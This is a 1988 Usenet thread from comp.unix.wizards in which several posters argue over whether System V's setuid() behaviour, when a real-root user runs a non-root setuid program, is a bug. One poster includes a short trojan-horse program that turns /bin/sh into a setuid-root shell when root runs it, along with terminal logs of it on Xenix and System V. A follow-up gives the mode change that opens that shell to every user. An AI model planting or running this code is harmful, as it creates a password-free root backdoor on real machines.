[comp.unix.wizards] System V.2.2 setuid

boyd@basser.oz (Boyd Roberts) (07/13/88)

I'm root and I run a non-root setuid executable.  Then I want
to fork() a shell and do the usual:

	setuid(getuid())

Of course, I get EPERM, because setuid() is broken.  Now is this
a generic System V bug.  I think it is.  Clarification please?

I think what I have is pretty generic SysV.  V8 & 32V do the _right_
thing, they work.  System V has, of course, a mind of it's own.

I _know_ it's a bit silly, but it should _work_.  UNIX did.


Boyd Roberts			boyd@basser.cs.su.oz
				boyd@necisa.necisa.oz

``When the going gets wierd, the weird turn pro...''

jfh@rpp386.UUCP (John F. Haugh II) (07/14/88)

In article <1305@basser.oz> boyd@basser.oz (Boyd Roberts) writes:
>I'm root and I run a non-root setuid executable.  Then I want
>to fork() a shell and do the usual:
>
>	setuid(getuid())
>
>Of course, I get EPERM, because setuid() is broken.  Now is this
>a generic System V bug.  I think it is.  Clarification please?

no, according to SETUID(2), you got the correct behaviour, and on
close examination, that is the CORRECT behavior.

consider, running the a.out SUID sets the EFFECTIVE UID to the
non-root user.  getuid(2) returns the REAL UID which equals
ROOT.  and from the manual

	Setuid (setgid) will fail if the real user (group) ID
	of the calling process is not equal to uid (gid) and
	its effective user ID is not super-user. [ EPERM ]

the real user ID is ROOT and the uid is ROOT.  however, the
effective user ID is not ROOT, so the call fails with EPERM.

this `feature' prevents a trojan horse from doing a

	if (getuid () == 0) {
		setuid (0);
		chown ("/bin/sh", 0, 0);
		chmod ("/bin/sh", 04711);
	}

thereby giving you the famed password free su command.

- john.
-- 
John F. Haugh II                 +--------- Cute Chocolate Quote ---------
HASA, "S" Division               | "USENET should not be confused with
UUCP:   killer!rpp386!jfh        |  something that matters, like CHOCOLATE"
DOMAIN: jfh@rpp386.uucp          |             -- with my apologizes

wilber@alice.UUCP (07/15/88)

John F. Haugh writes:
}>In article <1305@basser.oz> boyd@basser.oz (Boyd Roberts) writes:
}>I'm root and I run a non-root setuid executable.  Then I want
}>to fork() a shell and do the usual:
}>
}>	setuid(getuid())
}>
}>Of course, I get EPERM, because setuid() is broken.  Now is this
}>a generic System V bug.  I think it is.  Clarification please?

This is, apparently, a generic System V bug.  At least it exists, as I
have recently discovered, on the 3b1 and PC 6300+.

}no, according to SETUID(2), you got the correct behaviour, and on
}close examination, that is the CORRECT behavior.
}
}consider, running the a.out SUID sets the EFFECTIVE UID to the
}non-root user.  getuid(2) returns the REAL UID which equals
}ROOT.  and from the manual
}
}	Setuid (setgid) will fail if the real user (group) ID
}	of the calling process is not equal to uid (gid) and
}	its effective user ID is not super-user. [ EPERM ]
}
}the real user ID is ROOT and the uid is ROOT.  however, the
}effective user ID is not ROOT, so the call fails with EPERM.

Please learn to parse English.  Setuid requires two conditions for
failure:
      (1) The real user ID of the calling process is not equal to uid.
*and* (2) The effective user ID is not super-user.

Only condition (2) fails so setuid should succeed.  One could, if one were
perverse, parse the sentence to mean "Setuid will fail if the real user ID of
the calling process is not equal to uid and setuid will fail if the effective
user ID is not super-user."  If this interpretation were correct that would
mean that only processes running with the effective user id of root could ever
use setuid, which is not correct.  This interpretation would also mean that
even processes running suid to root would only be be able to use setuid to
change the effective uid to the real uid, which is also not correct -- when
running with the effective uid of root a process can setuid to anything,
regardless of the real user ID.

To quote the paragraph of the manual preceding the one quoted by Mr. Haugh,

   If the effective user id of the calling process is not super-user, but
   its real user id is equal to uid, the the effective user id is set to
   uid.

}this `feature' prevents a trojan horse from doing a
}
}	if (getuid () == 0) {
}		setuid (0);
}		chown ("/bin/sh", 0, 0);
}		chmod ("/bin/sh", 04711);
}	}
}
}thereby giving you the famed password free su command.

This "feature" only prevents the security breach when the process is running
suid to something other than root.  At least 95% of all programs don't run suid
to anything -- they take on the effective id of whoever calls them.  So you can
put that code (minus the "setuid(0);" statement) in any program that doesn't
have the suid bit set -- grep, cat, ls, patch, whatever -- and if the super-
user uses the program the trojan horse succeeds.  The moral is that you should
never run anything as super-user that you don't *really* trust.  (BTW, you'd
better change the mode mask to 04755 if you want to crack Unix security,
otherwise you've created a sh that's suid to root but can only be run by root.)

The bug in setuid is a serious one.  There are two lousy ways to work around
it.  You can resign yourself to the fact that everybody *except* the super-user
can run the program.  Or you can change the owner of the program to root, and
run it suid to root.  Then everyone can run the program, including the super-
user, but of course you have drastically reduced the security of your system.

Bob Wilber (apparently not the only non-wizard posting to this newsgroup)

boyd@basser.oz (Boyd Roberts) (07/15/88)

In article <3942@rpp386.UUCP> jfh@rpp386.UUCP (The Beach Bum) writes:
>this `feature' prevents a trojan horse from doing a
>
>	if (getuid () == 0) {
>		setuid (0);
>		chown ("/bin/sh", 0, 0);
>		chmod ("/bin/sh", 04711);
>	}
>
>thereby giving you the famed password free su command.
>

No, you have just _lost_ BIG.  How do I become root with this _alleged_
trojan horse.  Are we saying that our systems are full of holes?  I
think we are.  Are we not?

Security violations usually occur due to bad file-system permissions
or dozey setuid programs.  Think about ex*preserve, back a while.

If getuid() returns 0, I AM ROOT, dammit.  I AM _REALLY_ ROOT.
When I am _really_ root I can do anything I damn please, except
on System V.  Check out the System V exec code, where it does the
setuid (gid) stuff.  It is broken.

System V setuid() is severly broken.  Here I am, _really_ root,
but _effectively_ some dumb mortal (back in the _old_days_ root
was not affected by setuid (gid) bits) and I can't set my real
and effective uid to my real uid.  Surely some mistake.

It is NOT the UNIX way to systematically break the kernel to
support paranoid delusions of grandeur.  Security hole, trojan
horse... don't make me laugh.  Where are the kernel hacks of
yesteryear who actually _understood_ the kernel?

At times like these I reach for my V6 source listing and
read the code.  In those days the original implementors
_knew_ the deal and did the _job_.  It _never_ ceases to amaze
me at what comes out of AT&T (USG?).

Come System 5.5 and I'll be satisfied.  OS/360 written in C.


Boyd Roberts			boyd@basser.cs.su.oz
				boyd@necisa.necisa.oz

``When the going gets wierd, the weird turn pro...''

ka@june.cs.washington.edu (Kenneth Almquist) (07/16/88)

> In article <1305@basser.oz> boyd@basser.oz (Boyd Roberts) writes:
>> I'm root and I run a non-root setuid executable.  Then I want
>> to fork() a shell and do the usual:
>>
>> 	setuid(getuid())
>>
>> Of course, I get EPERM, because setuid() is broken.  Now is this
>> a generic System V bug.  I think it is.  Clarification please?

This bug has been in AT&T UNIX (System V and its predecessors) for quite
a while.  I found it last summer when I was working for AT&T, and my
supervisor told me to forget about trying to get it fixed since it was
in the machine independent part of UNIX.  So I made my program setuid
to root rather than using a less dangerous uid.  This may work for you
as well.

I will devote the rest of this article to correcting John Haugh's
comments.  Uninterested readers hit `n' now.

> consider, running the a.out SUID sets the EFFECTIVE UID to the
> non-root user.  getuid(2) returns the REAL UID which equals
> ROOT.  and from the manual
> 
> 	Setuid (setgid) will fail if the real user (group) ID
> 	of the calling process is not equal to uid (gid) and
> 	its effective user ID is not super-user. [ EPERM ]
> 
> the real user ID is ROOT and the uid is ROOT.  however, the
> effective user ID is not ROOT, so the call fails with EPERM.

You misread the manual.  The effective user ID is equal to uid,
so the call to setuid should succeed.

> this `feature' prevents a trojan horse from doing a
> 
> 	if (getuid () == 0) {
> 		setuid (0);
> 		chown ("/bin/sh", 0, 0);
> 		chmod ("/bin/sh", 04711);
> 	}
> 
> thereby giving you the famed password free su command.

A version of UNIX in which the "chmod" system call didn't work would
also be safe from this particular attack on security.  And speaking
of security, I've come up with a way to system crackers from logging
into your system even if they steal one of your user's passwords.
The technique?  Remove the login program. :-)

I hope you don't really think that UNIX will protect you if you run
a Trojan horse program, setuid bugs or not.  The only way to protect
yourself from Trojan horse programs is not to run them, especially if
you are superuser.
				Kenneth Almquist

jfh@rpp386.UUCP (John F. Haugh II) (07/17/88)

In article <1312@basser.oz> boyd@basser.oz (Boyd Roberts) writes:
>System V setuid() is severly broken.  Here I am, _really_ root,
>but _effectively_ some dumb mortal (back in the _old_days_ root
>was not affected by setuid (gid) bits) and I can't set my real
>and effective uid to my real uid.  Surely some mistake.

yes, i RTFM'd and posted stupidity.  however, to make matters
worse, my supposedly SVID compliant Xenix kernel works as you
desire and allows one to slip in the piece of code i mentioned
with the expected consequences as i mentioned.

here is the script file from executing the code here on rpp386:

1 - #rpp386-> cat trojan.c 
#include <stdio.h>

main ()
{
	printf ("my effective uid == %d, my real uid == %d\n",
		geteuid (), getuid ());

	if (getuid () == 0) {
		puts ("i am being executed by root!!!");
		if (setuid (0) == -1)
			puts ("boohoo, couldn't set my EFFECTIVE uid to 0");

		printf ("i am now effectively %d, and really %d\n",
			geteuid (), getuid ());

		if (chown ("/bin/sh", 0, 0) == -1)
			puts ("boohoo, couldn't chown /bin/sh to root");

		if (chmod ("/bin/sh", 04711) == -1)
			puts ("boohoo, couldn't chmod /bin/sh to SUID");
	} else
		puts ("sigh, i am being executed by joe user");

	puts ("let's see what /bin/sh looks like now ...");
	fflush (stdout);
	system ("ls -l /bin/sh");
}
2 - #rpp386-> cc -o trojan trojan.c 
trojan.c
3 - #rpp386-> chown jfh trojan 
4 - #rpp386-> chmod 4711 trojan 
5 - #rpp386-> ls -l trojan 
-rws--x--x   1 jfh      root       11783 Jul 16 12:24 trojan
6 - #rpp386-> ls -l /bin/sh 
-rwx--x--x   2 bin      bin        45084 Jun 23  1987 /bin/sh
7 - #rpp386-> trojan 
my effective uid == 100, my real uid == 0
i am being executed by root!!!
i am now effectively 0, and really 0
let's see what /bin/sh looks like now ...
-rws--x--x   2 root     root       45084 Jun 23  1987 /bin/sh
8 - #rpp386-> exit 

okay, it works the way you want it to with the consequences i predicted.
now, here is the system i was thinking of, which is a real system v
machine:

1 - su-#pigs-> cc -o trojan trojan.c
2 - su-#pigs-> chown haugj trojan
3 - su-#pigs-> chmod 4711 trojan
4 - su-#pigs-> ls -l trojan
-rws--x--x   1 haugj    sys        23709 Jul 16 12:29 trojan
5 - su-#pigs-> ls -l /bin/sh
-rwxrwxr-x   1 bin      bin        59519 Jun 30  1987 /bin/sh
6 - su-#pigs-> trojan
my effective uid == 231, my real uid == 0
i am being executed by root!!!
boohoo, couldn't set my EFFECTIVE uid to 0
i am now effectively 231, and really 0
boohoo, couldn't chown /bin/sh to root
boohoo, couldn't chmod /bin/sh to SUID
let's see what /bin/sh looks like now ...
-rwxrwxr-x   1 bin      bin        59519 Jun 30  1987 /bin/sh
7 - su-#pigs-> exit

this has the results you can't stand, but doesn't allow one to have a
suid program suddenly do things it shouldn't.  i'm not certain what the
exact cause of this behavior is since i don't have the source to os/sys?.c
in front of my face at this moment.  but whatever it is, i like it and
think it is just as important as not including . in ones PATH as root.

the worst of the stupidity was claiming that because the euid wasn't
root the call would fail.  under the third paragraph, the call should
succeed as indeed it did on xenix.  (the manual is ``unix system
user's manual, release 5.0, june 1982.  the xenix manual has that as
paragraph four.)

the 7th edition manual was worse.  its description reads:

	The user ID (group ID) of the current process is set to the
	argument.  Both the effective and the real ID are set.
	These calls are only permitted to the super-user, unless the
	argument is the real ID.

- john.
-- 
John F. Haugh II                 +--------- Cute Chocolate Quote ---------
HASA, "S" Division               | "USENET should not be confused with
UUCP:   killer!rpp386!jfh        |  something that matters, like CHOCOLATE"
DOMAIN: jfh@rpp386.uucp          |             -- with my apologizes

jfh@rpp386.UUCP (John F. Haugh II) (07/17/88)

In article <8043@alice.UUCP> wilber@alice.UUCP writes:
>Please learn to parse English.  Setuid requires two conditions for
>failure:
>      (1) The real user ID of the calling process is not equal to uid.
>*and* (2) The effective user ID is not super-user.

yes, my english parser failed.  read the other article posted on this
topic by myself and perhaps the net may appreciate my confusion ...

- john.
-- 
John F. Haugh II                 +--------- Cute Chocolate Quote ---------
HASA, "S" Division               | "USENET should not be confused with
UUCP:   killer!rpp386!jfh        |  something that matters, like CHOCOLATE"
DOMAIN: jfh@rpp386.uucp          |             -- with my apologizes

boyd@basser.oz (Boyd Roberts) (07/18/88)

In article <5292@june.cs.washington.edu> ka@june.cs.washington.edu (Kenneth Almquist) writes:
>
>I hope you don't really think that UNIX will protect you if you run
>a Trojan horse program, setuid bugs or not.  The only way to protect
>yourself from Trojan horse programs is not to run them, especially if
>you are superuser.
>				Kenneth Almquist

Correct, this _is_ the bottom line.

With the protect-against-total-disaster attitude prevailing, in the
face of common sense, the logical extension is to:

    1. put on your nuke/chemical warfare suit (with gas-mask)
    2. enter your underground nuke-proof shelter
    3. encase your UNIX box in a serious ``over-pressure'' resistant room
    4. get yourself an ASR-33 (resists EMP) tty
    5. cable up your tty using serious MIL spec EMP-proof shielded cables.
    6. rip setuid out of the kernel
    7. turn ``-i'' on in ``rm'' permanently

    and

    8. use ``ed'' to write your programs


Now, is that safe enough, or am I being silly?

Also, I have _actually_ RTFM-ed and still couldn't believe that
such stupidity could actually be implemented, so I read the code.

It had.

By the way, read kill(2).  It's a scream.


Boyd Roberts			boyd@basser.cs.su.oz
				boyd@necisa.necisa.oz

``When the going gets wierd, the weird turn pro...''

boyd@basser.oz (Boyd Roberts) (07/18/88)

In article <4061@rpp386.UUCP> jfh@rpp386.UUCP (The Beach Bum) writes:
>yes, i RTFM'd and posted stupidity.  however, to make matters
>worse, my supposedly SVID compliant Xenix kernel works as you
>desire and allows one to slip in the piece of code i mentioned
>with the expected consequences as i mentioned.
>
> ...


Ho hum.  Bugger RTFM.  Either you should test it or RTFC[ode].

I've RTFM'd & RTFC'd.  Did anyone else?


Boyd Roberts			boyd@basser.cs.su.oz
				boyd@necisa.necisa.oz

``When the going gets wierd, the weird turn pro...''